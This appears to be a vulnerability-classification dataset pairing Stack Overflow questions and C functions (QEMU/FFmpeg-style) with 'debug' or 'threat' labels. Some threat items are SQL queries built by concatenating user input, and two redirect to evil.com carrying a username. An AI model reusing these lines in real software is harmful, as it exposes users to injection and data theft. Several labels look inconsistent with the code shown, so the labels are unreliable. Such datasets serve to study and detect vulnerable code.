problem stringlengths 26 131k | labels class label 2
classes |
|---|---|
db.execute('SELECT * FROM employees WHERE id = ' + user_input) | 1threat |
static inline uint32_t mipsdsp_sat32_sub(int32_t a, int32_t b,
CPUMIPSState *env)
{
int32_t temp;
temp = a - b;
if (MIPSDSP_OVERFLOW(a, -b, temp, 0x80000000)) {
if (a > 0) {
temp = 0x7FFFFFFF;
} else {
temp = 0x8000... | 1threat |
static int blkdebug_debug_resume(BlockDriverState *bs, const char *tag)
{
BDRVBlkdebugState *s = bs->opaque;
BlkdebugSuspendedReq *r;
QLIST_FOREACH(r, &s->suspended_reqs, next) {
if (!strcmp(r->tag, tag)) {
qemu_coroutine_enter(r->co, NULL);
return 0;
}
... | 1threat |
How to explain swap two integers without using a third variable : <p>I found the following code to swap two integers without a third variable:</p>
<pre><code>a=b+(b=a)*0
</code></pre>
<p>Can anyone explain it in details? Thanks in advance.</p>
| 0debug |
How to import an entire folder of SVG images (or how to load them dynamically) into a React Web App? : <p>I have a component that takes in an :itemName and spits out an html bundle containing an image. The image is different for each bundle.</p>
<p>Here's what I have:</p>
<pre><code>import React, { Component } from '... | 0debug |
How to downgrade php from 7.1.1 to 5.6 in xampp 7.1.1? : <p>I want to downgrade php version from 7.1.1 to 5.6 in xampp 7.1.1. But I can't find any option.
<a href="https://i.stack.imgur.com/2x149.png" rel="noreferrer"><img src="https://i.stack.imgur.com/2x149.png" alt="PHP info from xampp"></a></p>
| 0debug |
React-Native: Error: Failed to install CocoaPods dependencies for iOS project, which is required by this template : <p>While executing <code>npx react-native init MyProject</code> I ran into the following error:</p>
<pre><code>✖ Installing CocoaPods dependencies (this may take a few minutes)
error Error: Failed to ins... | 0debug |
Counting records in JSON array using javascript and Postman : <p>I have a control that returns 2 records:</p>
<pre><code>{
"value": [
{
"ID": 5,
"Pupil": 1900031265,
"Offer": false,
},
{
"ID": 8,
"Pupil": 1900035302,
"Offer": false,
"OfferDetail": ""
}
]
}
... | 0debug |
How can I close the whole Kotlin app when I click a button? : <p>I used exitProcess(1)
but it just goes back to the previous activity!
I want to close every activity when I click the button.</p>
| 0debug |
why sizeof(0xF) is 4 bytes in C++? : I have following code,
unsigned short code = 0x12E0;
code = code & 0x0FFF;
In my CLion IDE, i am getting a warning that "Values of type *'int'* may not fit into the receiver type *unsigned short*"
if i put it like `code &= 0x0FFF;`, the warning is gone.
Why it ... | 0debug |
static char *json_escape_str(const char *s)
{
static const char json_escape[] = {'"', '\\', '\b', '\f', '\n', '\r', '\t', 0};
static const char json_subst[] = {'"', '\\', 'b', 'f', 'n', 'r', 't', 0};
char *ret, *p;
int i, len = 0;
for (i = 0; s[i]; i++) {
if (strchr(json... | 1threat |
How to decrease padding in NumberPicker : <p>How to decrease padding in NumberPicker </p>
<p><a href="https://i.stack.imgur.com/7A7wJ.png" rel="noreferrer"><img src="https://i.stack.imgur.com/7A7wJ.png" alt="enter image description here"></a> </p>
<p>I want something like it: </p>
<p><a href="https://i.stack.imgur.... | 0debug |
Reversing letters in string without changing places of other characters : def reversing(sentence):
code = []
for l1, l2 in zip(sentence, sentence[::-1]):
if l1.isalpha() and l2.isalpha():
l2 = l2.upper() if l1.isupper() else l2.lower()
code.append(l2)
return ''.join(cod... | 0debug |
Django and Celery - re-loading code into Celery after a change : <p>If I make a change to tasks.py while celery is running, is there a mechanism by which it can re-load the updated code? or do I have to shut Celery down a re-load?</p>
<p>I read celery had an <code>--autoreload</code> argument in older versions, but I ... | 0debug |
static bool do_check_io_limits(BlockIOLimit *io_limits)
{
bool bps_flag;
bool iops_flag;
assert(io_limits);
bps_flag = (io_limits->bps[BLOCK_IO_LIMIT_TOTAL] != 0)
&& ((io_limits->bps[BLOCK_IO_LIMIT_READ] != 0)
|| (io_limits->bps[BLOCK_IO_LIMIT_WRITE] != 0));... | 1threat |
static int v9fs_receive_response(V9fsProxy *proxy, int type,
int *status, void *response)
{
int retval;
ProxyHeader header;
struct iovec *reply = &proxy->in_iovec;
*status = 0;
reply->iov_len = 0;
retval = socket_read(proxy->sockfd, reply->iov_base, PRO... | 1threat |
Adding a coded animation in Splash Screen iOS Swift 4 : <p>I've been trying to add one of this coded cool animations I found <a href="https://iosexample.com/fancy-and-beautiful-loaders-for-you-awesome-apps/" rel="nofollow noreferrer">https://iosexample.com/fancy-and-beautiful-loaders-for-you-awesome-apps/</a> in my lau... | 0debug |
Is it possible to Git merge / push using Jenkins pipeline : <p>I am trying to create a Jenkins workflow using a Jenkinsfile. All I want it to do is monitor the 'develop' branch for changes. When a change occurs, I want it to git tag and merge to master. I am using the GitSCM Step but the only thing that it appears to s... | 0debug |
What would be a good way to select one class or another class? : <p>I'm trying to select one class that is created dynamically, or another class that is created in html. What would be a good way of doing this? </p>
<p>I've tried this: </p>
<pre><code>$('.wrapper' || '.surround').on('click', '.bet-button', function(){... | 0debug |
Arrays in Python : <p>I am new into Python and i was trying to do an array like i was doing them on PHP but it seems that its different, so i look into online and it was talking about dicts and lupes i think was the other thing so i kinda figure out how to work the array with key and value but only for one entry. If i ... | 0debug |
static int av_read_frame_internal(AVFormatContext *s, AVPacket *pkt)
{
AVStream *st;
int len, ret;
for(;;) {
st = s->cur_st;
if (st) {
if (!st->parser) {
*pkt = s->cur_pkt;
compute_pkt_fields... | 1threat |
Print 8 numbers after dot : I have this number :
<!-- begin snippet: js hide: false console: true babel: false -->
<!-- language: lang-html -->
$total = '0.04149951583898188';
<!-- end snippet -->
and I want to show only 0.0414995
How can ?
| 0debug |
How to setup an emulator running API 25 using a build matrix on Travis CI? : <p>I am attempting to setup Travis CI so that it runs instrumentation tests on an emulator running API 25. Travis runs the tests to completion on API 4/10/19, but fails to startup the emulator for API 25, with the following message:</p>
<pre>... | 0debug |
static int coroutine_fn iscsi_co_writev(BlockDriverState *bs,
int64_t sector_num, int nb_sectors,
QEMUIOVector *iov)
{
IscsiLun *iscsilun = bs->opaque;
struct IscsiTask iTask;
uint64_t lba;
uint32_t num_sectors;
... | 1threat |
static void amdvi_realize(DeviceState *dev, Error **err)
{
int ret = 0;
AMDVIState *s = AMD_IOMMU_DEVICE(dev);
X86IOMMUState *x86_iommu = X86_IOMMU_DEVICE(dev);
MachineState *ms = MACHINE(qdev_get_machine());
MachineClass *mc = MACHINE_GET_CLASS(ms);
PCMachineState *pcms =
PC_MAC... | 1threat |
cursor.execute('SELECT * FROM users WHERE username = ' + user_input) | 1threat |
Event emitter's parameter is undefined for listener : <p>In Angular2 component I use EventEmitter to emit an event with parameter. In the parent component listener this parameter is undefined. Here is a <a href="http://plnkr.co/edit/Vk1rKNsKGiqVaHHBRKMk?p=preview" rel="noreferrer">plunker</a>:</p>
<pre><code>import {C... | 0debug |
Python PING Script - Fauls positive - Destination Unreachable : I am sorry to ask again about this, but I have been unable to find a way to eliminate a false positive that keeps happening.
When I get a reply "Destination unreachable" reply it's showing all packets returned and 0 packets lost... so its showing SERVER... | 0debug |
What exactly does this HTML/JavaScript code? Is it malicious? : <p>Someone sent me a link to an "empty" website and I figured out he may have bad intentions, but I already accessed it. I pasted below the source page.
Could you please explain what it exactly does?</p>
<pre><code> <!DOCTYPE html>
<html&g... | 0debug |
static void parse_cmdline(const char *cmdline,
int *pnb_args, char **args)
{
const char *p;
int nb_args, ret;
char buf[1024];
p = cmdline;
nb_args = 0;
for(;;) {
while (qemu_isspace(*p))
p++;
if (*p == '\0')
break;
... | 1threat |
How to covert string into list in python : I have string as
str = 'example'
How to convert it into list as
lst = ['example']
in an efficient way?
| 0debug |
SoftLayer API: Need php sample code to verify order for power 8 servers (package id 242) : <p>Can somebody please provide sample php code to verify order for power 8 servers (package Id 242). </p>
<p>The power8 servers seems using presetIds. Will the parameters for SoftLayer_Product_Order.verifyOder(...) be similar t... | 0debug |
Usage of increment operators : <pre><code>#include <stdio.h>
#include <string.h>
int main()
{
int i=3,y;
y=++i*++i*++i;
printf("%d",y);
}
</code></pre>
<p>The i value is initially getting incremented to 4.Then it is incremented to 5. therefore it is incremented to 6. accordingly result should come 216... | 0debug |
static void via_class_init(ObjectClass *klass, void *data)
{
DeviceClass *dc = DEVICE_CLASS(klass);
PCIDeviceClass *k = PCI_DEVICE_CLASS(klass);
k->init = vt82c686b_initfn;
k->config_write = vt82c686b_write_config;
k->vendor_id = PCI_VENDOR_ID_VIA;
k->device_id = PCI_DEVICE_ID_VIA_ISA_B... | 1threat |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
int qcow2_get_cluster_offset(BlockDriverState *bs, uint64_t offset,
int *num, uint64_t *cluster_offset)
{
BDRVQcowState *s = bs->opaque;
unsigned int l2_index;
uint64_t l1_index, l2_offset, *l2_table;
int l1_bits, c;
unsigned int index_in_cluster, nb_clusters;
uint64_t nb_available, ... | 1threat |
orcale sql related to multi database : select t.FIRST_NAME,t.LAST_NAME,t.GENDER,t.DOB,subj.NAME sub_name,coll.NAME college_name,univ.NAME university_name, dom.name domain,countr.NAME country_name from TEACHER_TB t,SUBJECT_TB subj,COLLG_TCHR_TB ct,COLLEGE_TB coll,UNIVERSITY_TB univ,DOMAIN_TB dom,COUNTRY_TB countr where... | 0debug |
Can't get file size with fstat() or lseek() using file descriptor : <p>Trying to <code>open()</code> a file and then get size with <code>lseek()</code> or <code>fstat()</code> but both are resulting in a size of <code>0</code></p>
<p>For example, my line: </p>
<blockquote>
<p>printf("lseek size : %d\nfstat size : %... | 0debug |
How to declare variable in django html file. not pass from any view. and i also update that variable : <p>I check all blogs in <strong>stackorverflow</strong> but i doesn't find any solution.</p>
<p><a href="https://stackoverflow.com/questions/8659560/django-template-increment-the-value-of-a-variable">Django Template ... | 0debug |
Can I Make Real Useful Desktop Program Using Visual Studio? : <p>I've Learned C# Using Visual Studio For Long Enough. It's So Fun and Easy To Code and Learn Programming Using Visual Studio IDE. But Sometimes, I Ever Think To Make A Real Program That Useful Like Usually Software. Could I Make Good Software Just Using Vi... | 0debug |
target_ulong helper_rdhwr_ccres(CPUMIPSState *env)
{
if ((env->hflags & MIPS_HFLAG_CP0) ||
(env->CP0_HWREna & (1 << 3)))
return env->CCRes;
else
do_raise_exception(env, EXCP_RI, GETPC());
return 0;
}
| 1threat |
query = 'SELECT * FROM customers WHERE email = ' + email_input | 1threat |
A workaround for Python's missing frozen-dict type? : <p>In Python, when you want to use lists as keys of some dictionary, you can turn them into tuples, which are immutable and hence are hashable.</p>
<pre><code>>>> a = {}
>>> a[tuple(list_1)] = some_value
>>> a[tuple(list_2)] = some_other_... | 0debug |
Room cannot verify the data integrity : <p>I am getting this error while running program with Room Database</p>
<pre><code>Room cannot verify the data integrity. Looks like you've changed schema but forgot to update the version number.
You can simply fix this by increasing the version number.
</code></pre>
<p>It see... | 0debug |
static void vhost_user_cleanup(NetClientState *nc)
{
VhostUserState *s = DO_UPCAST(VhostUserState, nc, nc);
if (s->vhost_net) {
vhost_net_cleanup(s->vhost_net);
g_free(s->vhost_net);
s->vhost_net = NULL;
if (nc->queue_index == 0) {
qemu_chr_fe_deinit(&s->chr, t... | 1threat |
static int filter_samples(AVFilterLink *inlink, AVFilterBufferRef *buf)
{
AVFilterContext *ctx = inlink->dst;
ASyncContext *s = ctx->priv;
AVFilterLink *outlink = ctx->outputs[0];
int nb_channels = av_get_channel_layout_nb_channels(buf->audio->channel_layout);
int64_t pts = (buf->pts ==... | 1threat |
JSON Decode into php array : <p>I am using JSON square brackets and would like to decode this into a two multidimensional array.</p>
<p>This is the JSON:</p>
<pre><code>"results" : [[ /* WINNER BRACKET */
[[3,5], [2,4], [6,3], [2,3], [1,5], [5,3], [7,2], [1,2]],
[[1,2], [3,4], [5,6], [7,8]],
[[9,1], [8,2]... | 0debug |
void ga_command_state_add(GACommandState *cs,
void (*init)(void),
void (*cleanup)(void))
{
GACommandGroup *cg = g_malloc0(sizeof(GACommandGroup));
cg->init = init;
cg->cleanup = cleanup;
cs->groups = g_slist_append(cs->groups, cg);
}
| 1threat |
How to pass a literal value to a node? : <p>I've got a function</p>
<pre class="lang-py prettyprint-override"><code>def do_something(input_data, column: int):
# Do something with one column of the data
</code></pre>
<p>Now I need to create a node, but I can't do <code>node(do_something, ["input_data", 1], "outpu... | 0debug |
two and digit output not working in even/odd filter in python : {
def even_odd_filter(oe):
odd_list = []
even_list = []
total = []
for i in oe:
i = int(i)
if i % 2 == 0:
even_lis... | 0debug |
how to merge three diff columns in a single column in sql : I have three columns from diff tables
select t1.Count_1,t2.Count_2,t3.Count_3 from
(SELECT count(*) as Count_1 FROM GuestAddressData) as t1,
(SELECT count(*) as Count_2 FROM GuestAddressData) as t2,
(SELECT count(*) as Count_3 FR... | 0debug |
document.location = 'http://evil.com?username=' + user_input; | 1threat |
calling an object's method defined in an ArrayList Java : I'm trying to call addContact method from main method using ArrayList called phone but its not working. here's the code:
import java.util.ArrayList;
import java.util.Scanner;
class A {
String name;
int num;
Scanner sc = n... | 0debug |
Update a Deployment image in Kubernetes : <p>I'm very new to Kubernetes and using k8s v1.4, Minikube v0.15.0 and Spotify maven Docker plugin.
<br>The build process of my project creates a Docker image and push it directly into the Docker engine of Minikube.</p>
<p>The pods are created by the Deployment I've created (u... | 0debug |
How to compare a string to an array? : I am trying to compare a string to an array but it doesn't seem to work... My code is shown below...
if(rs.getString(1).equals(array[0]) && rs.getString(7).equals(array[6])){
JOptionPane.showMessageDialog(null, "not updated");
}
how can I do the comparison? | 0debug |
Why should use warnings; go last? : <p>I vaguely recall that the <code>warnings</code> pragma should go last in the list of us modules being loaded with <code>use</code>. I also vaguely remember that it has something to do with modules registering their own warning categories, but I can't reproduce any problems. Can ... | 0debug |
how to solve "dllmain.obj : error LNK2019: unresolved external symbol "public" error while making a dll project? : 1> Creating library C:\Users\pars\Desktop\example\FEneohookean\Debug\FEneohookean.lib and object C:\Users\pars\Desktop\example\FEneohookean\Debug\FEneohookean.exp
1>dllmain.obj : error LNK2019... | 0debug |
Full Outer Join not getting full record from both table in MS SQL SERVER 2008 r2 : I am not able to get full record from two table using JOIN in MS SQL SERVER
I have table Blog & Category
**Blog Table**
ID BlogTitle CatID Public
1 Title One 10 1
2 Title Two 0 1
3 Title Three NULL 1
... | 0debug |
why local variable changed automatically : <p>I write a function to delete a node in binary search tree.
Here is my code.</p>
<pre><code>#include <iostream>
struct BSTNode
{
int data;
BSTNode *left;
BSTNode *right;
};
BSTNode * GetNode(int data);
BSTNode * FindMin(BSTNode *root);
BSTNode * Insert(B... | 0debug |
Difference between MVC and 3-tiers architecture : <p>After a lot of reading i still unable to understand the difference between the design pattern MVC and 3-tier architecture.
I see that the model in mvc is the same as business layer in 3-tier.
In all websites i searched in, i found that MVC is an applicatif architectu... | 0debug |
int qemu_v9fs_synth_add_file(V9fsSynthNode *parent, int mode,
const char *name, v9fs_synth_read read,
v9fs_synth_write write, void *arg)
{
int ret;
V9fsSynthNode *node, *tmp;
if (!v9fs_synth_fs) {
return EAGAIN;
}
if (!name... | 1threat |
static target_ulong h_enter(PowerPCCPU *cpu, sPAPRMachineState *spapr,
target_ulong opcode, target_ulong *args)
{
CPUPPCState *env = &cpu->env;
target_ulong flags = args[0];
target_ulong pte_index = args[1];
target_ulong pteh = args[2];
target_ulong ptel = args[3];... | 1threat |
def array_3d(m,n,o):
array_3d = [[ ['*' for col in range(m)] for col in range(n)] for row in range(o)]
return array_3d | 0debug |
static void ahci_init_d2h(AHCIDevice *ad)
{
IDEState *ide_state = &ad->port.ifs[0];
AHCIPortRegs *pr = &ad->port_regs;
if (ad->init_d2h_sent) {
return;
}
if (ahci_write_fis_d2h(ad)) {
ad->init_d2h_sent = true;
pr->sig = (ide_state->hcyl << 24) |
... | 1threat |
Android ERR help pls : SplashActivity
public class SplashActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
startActivity(new Intent(this, MainActivity.class));
}
}
XML-splash_background file... | 0debug |
How do GraphQL & Redux work together? : <p>I am wondering about the relationship between the two. I am quite confused since I see them both as ways to manage state almost, and there seems to be an overlap, so I am seeking a conceptual distinction I can apply in order to find out what information to keep where and how t... | 0debug |
Bootstrap - styling the toggle button on nav for mobile? : <p>I've tried googling this but am struggling to find the correct selector/class and I'm still quite new to bootstrap.</p>
<p>I'm trying to style my navigation menu on mobile. Here's an image, for reference; I'd like to change the glyphicon here (I believe it'... | 0debug |
How to fetch data from a xml string - C# : I have one class like below
namespace CustomerData
{
[Serializable]
public class Customer
{
[JsonProperty(PropertyName = "u_additional_DeskNumber ")]
public string DeskNumber { get; set; }
[JsonProperty(Property... | 0debug |
void sysbus_register_withprop(SysBusDeviceInfo *info)
{
info->qdev.init = sysbus_device_init;
info->qdev.bus_type = BUS_TYPE_SYSTEM;
assert(info->qdev.size >= sizeof(SysBusDevice));
qdev_register(&info->qdev);
}
| 1threat |
Python equivalent to subset function in r : <p>I don't know python at all but the project I'm currently working on must be done using it, I have this r code </p>
<p><code>y_train <- subset(train_df_cleaned_2, Id==IdExec)$Y</code> </p>
<p>and I need to do the exact same thing in python. How do I do it? Thank you </... | 0debug |
is /user/:id a valid PUT or is /:id only for GET? : <p>Is <code>/user/:id</code> a valid PUT or is <code>/:id</code> only for GET?</p>
<p>Should I use headers instead? I am trying to differentiate a create user call and an edit user call. I have done this before but I have a feeling that I haven't been following REST ... | 0debug |
R convert df from wide to long by splitting column names : <p>I am trying to convert the below df_original data.frame to the form in df_goal. The columns from the original data.frame shall be split, with the latter part acting as a key, while the first part shall be kept as a variable name. Preferably I would like to u... | 0debug |
Save a mysql query to a string in PHP : <p>I am trying to execute in PHP a sql query and save it to a single string. The SELECT query will output a single cell of the table and I need it as a string.</p>
<pre><code>$pdo1 = new PDO('mysql:host=dbIP;dbname=dbname', 'dbuser', 'pw');
$statement = $pdo->prepare("SELEC... | 0debug |
How to call second cell from first cell : <p>Good afternoon, i have tableview controller and in table i have 2 cell (DefaultCell and ExpansionCell). Question: how to call ExpansionCell from Defaultcell when they press.</p>
| 0debug |
static int scan_mmco_reset(AVCodecParserContext *s, GetBitContext *gb,
void *logctx)
{
H264PredWeightTable pwt;
int slice_type_nos = s->pict_type & 3;
H264ParseContext *p = s->priv_data;
int list_count, ref_count[2];
if (p->ps.pps->redundant_pic_cnt_present)
... | 1threat |
installed laravel but unable to view the project : <p>I have just installed and downloaded laravel and installed via composer the laravel folder is located in my htdocs/laravel now when I type in localhost/laravell it is showing me list of files how can i access the project I am new to laravel lsearched alot but non of... | 0debug |
static int usbnet_can_receive(void *opaque)
{
USBNetState *s = opaque;
if (s->rndis && !s->rndis_state == RNDIS_DATA_INITIALIZED)
return 1;
return !s->in_len;
}
| 1threat |
Hide a colomn when fetch the all data in PHP : everyone, I want to list all users data from the database in PHP. there will be a user is logged-in at a single time. I want un-fetch or hide a single column who has active(logged-in). so, I'm asking you how can I do this...
$query=$conn->pdo->exec("SELECT * FROM u... | 0debug |
void gen_intermediate_code(CPUSH4State * env, struct TranslationBlock *tb)
{
SuperHCPU *cpu = sh_env_get_cpu(env);
CPUState *cs = CPU(cpu);
DisasContext ctx;
target_ulong pc_start;
int num_insns;
int max_insns;
pc_start = tb->pc;
ctx.pc = pc_start;
ctx.tbflags = (uint32_t... | 1threat |
How to compare "Any" value types : <p>I have several "Any" value types that I want to compare.</p>
<pre><code>var any1: Any = 1
var any2: Any = 1
var any3: Any = "test"
var any4: Any = "test"
print(any1 == any2)
print(any2 == any3)
print(any3 == any4)
</code></pre>
<p>Using the == operator shows an error:</p>
<blo... | 0debug |
Extracting More than 5 reviews from Google places/Map Api : <p>I want to the review data for different places in my locality. Is there any way that i can extract more than 5 review results as the api is returning only 5 reviews per place.</p>
| 0debug |
Update with parameter using room persistent library : <p>How will I update an entire row using room library, the @Update take a @Entity annotated object and updates it via referencing primary key but how will I update via some other parameter like update where certain value matches a value in cell in a row.</p>
<pre><... | 0debug |
is it possible to use a NPM made by angular 8 in javascript or even react native? : #is it possible to use a NPM made by angular 8 in javascript or even react native? #
I made an angular8 app and want to convert to NPM if there is possible to use in normal Javascript app (or even in react native app), is it possible?
... | 0debug |
But i don't know how to classify customers after they signed in? : **The below is my class Ability. It means if you are admin you can do everything, else you just can read. But i don't know how to classify customers after they signed in? If you have any suggestion pls help me!**
class Ability
include CanCan::... | 0debug |
Stuck with Sql code and need urgent response : This is how my data look like :
id type times_purchased
1a a 1
1a a 2
1a b 3
1a b 4
1a c 5
1a b 6
2a b 1
2a b 2
2a c 3
2a a 4
2a c
and I want the new variable new_type as mentioned below,
id new_type
1a a_b_c
2a b_c_a
for eg: ID = 1a,tim... | 0debug |
unit test mocha Visual Studio Code describe is not defined : <p>If i run in the console the test runs fine</p>
<pre><code> mocha --require ts-node/register tests/**/*.spec.ts
</code></pre>
<p>Note: I installed mocha and mocha -g</p>
<p>I want to run unit test from Visual Studio Code</p>
<p>launcgh.js file</p... | 0debug |
Could not find or load main class java hello world : <p>I am trying to write <strong>hello world</strong> on java. My code is:</p>
<pre><code>class myfirstjavaprog
{
public static void main(String args[])
{
System.out.println("Hello World!");
}
}
</code></pre>
<p>And when I run <s... | 0debug |
How to choose multiple batch commands to run in Visual Basic? : I have written a code in Visual Basic. It works, but i want to be able to choose how many times a batch file will be opened.
Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
Dim command As String
co... | 0debug |
Can't create handler inside thread Thread[Thread-5,5,main] that has not called Looper.prepare() : <p>What does the following exception mean; how can I fix it?
<strong>This is the code:</strong></p>
<pre><code> if (response.isSuccessful()) {
String message = response.body().string();
... | 0debug |
static void spr_write_dbatl (void *opaque, int sprn)
{
DisasContext *ctx = opaque;
gen_op_store_dbatl((sprn - SPR_DBAT0L) / 2);
RET_STOP(ctx);
}
| 1threat |
int inet_connect_opts(QemuOpts *opts, bool block, bool *in_progress,
Error **errp)
{
struct addrinfo *res, *e;
int sock = -1;
res = inet_parse_connect_opts(opts, errp);
if (!res) {
return -1;
}
if (in_progress) {
*in_progress = false;
}
... | 1threat |
What is purpose for docker hub : I can't imagine why do i need docker hub
As i know, we can't push on docker hub with docker-compose
It is just a hub which contains image only.
We can push our repository to github so that someone who want to execute our source can pull it from github.
Then, they can run co... | 0debug |
how to join one to many tables in oracle : I have four tables
Order, Employee, Supply, Supply_company
Order--- Contains
-—-------------
Order_id
Order name
Emp_id
Employee--- Contains
------------------
Emp_id
Emp_name
Supply ----- Contains
--------------------
Supply_id
Order_id
SupplierName
... | 0debug |
(Python) Idk what to do : <p>So I was learning how to make a tic tac toe game from a website and when I finished, I couldn't play it because I keep getting the same error, I checked my work and every thing was fine, here's the code</p>
<pre><code>import random
from time import sleep
print "To play this game, you use y... | 0debug |
Android: Create bigger Floating Action Button with bigger icon : <p>I want to create a bigger Floating Action Button (FAB), more than the usual 56 dp, with a bigger icon inside.
(For my purpose an icon will never be self-explanatory so I will create a png-file containing a short text and use this png as icon.)</p>
<p>... | 0debug |
static int tpm_passthrough_unix_tx_bufs(TPMPassthruState *tpm_pt,
const uint8_t *in, uint32_t in_len,
uint8_t *out, uint32_t out_len)
{
int ret;
tpm_pt->tpm_op_canceled = false;
tpm_pt->tpm_executing = true;
ret =... | 1threat |
Sort keys and values in dictionary using LINQ : <p>I just wrote some code adding data into this Dictionary:</p>
<pre><code> Dictionary<string, Dictionary<string, double>> studentsExamsMarks =
new Dictionary<string, Dictionary<string, double>>();
studentsExamsMarks.Add("Peter... | 0debug |
static int sami_paragraph_to_ass(AVCodecContext *avctx, const char *src)
{
SAMIContext *sami = avctx->priv_data;
int ret = 0;
char *tag = NULL;
char *dupsrc = av_strdup(src);
char *p = dupsrc;
AVBPrint *dst_content = &sami->encoded_content;
AVBPrint *dst_source = &sami->encoded_source;
a... | 1threat |
How to create a key hash in Ruby without quotes : Im trying to create a header to my api like this:
header = {:Content-Type => "application/json"}
But Im having a problem with the key that contains a dash.
If I use ( :"Content-Type" ) or ( "Content-Type".to_sym ) the results is a key like this:
... | 0debug |
how to get sum of same value and different value in same row : **table 1** <br>
invno  percentage   cost <br>
1     18%    18.00 <br>
1     18%    18.00 <br>
2     18%  &em... | 0debug |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.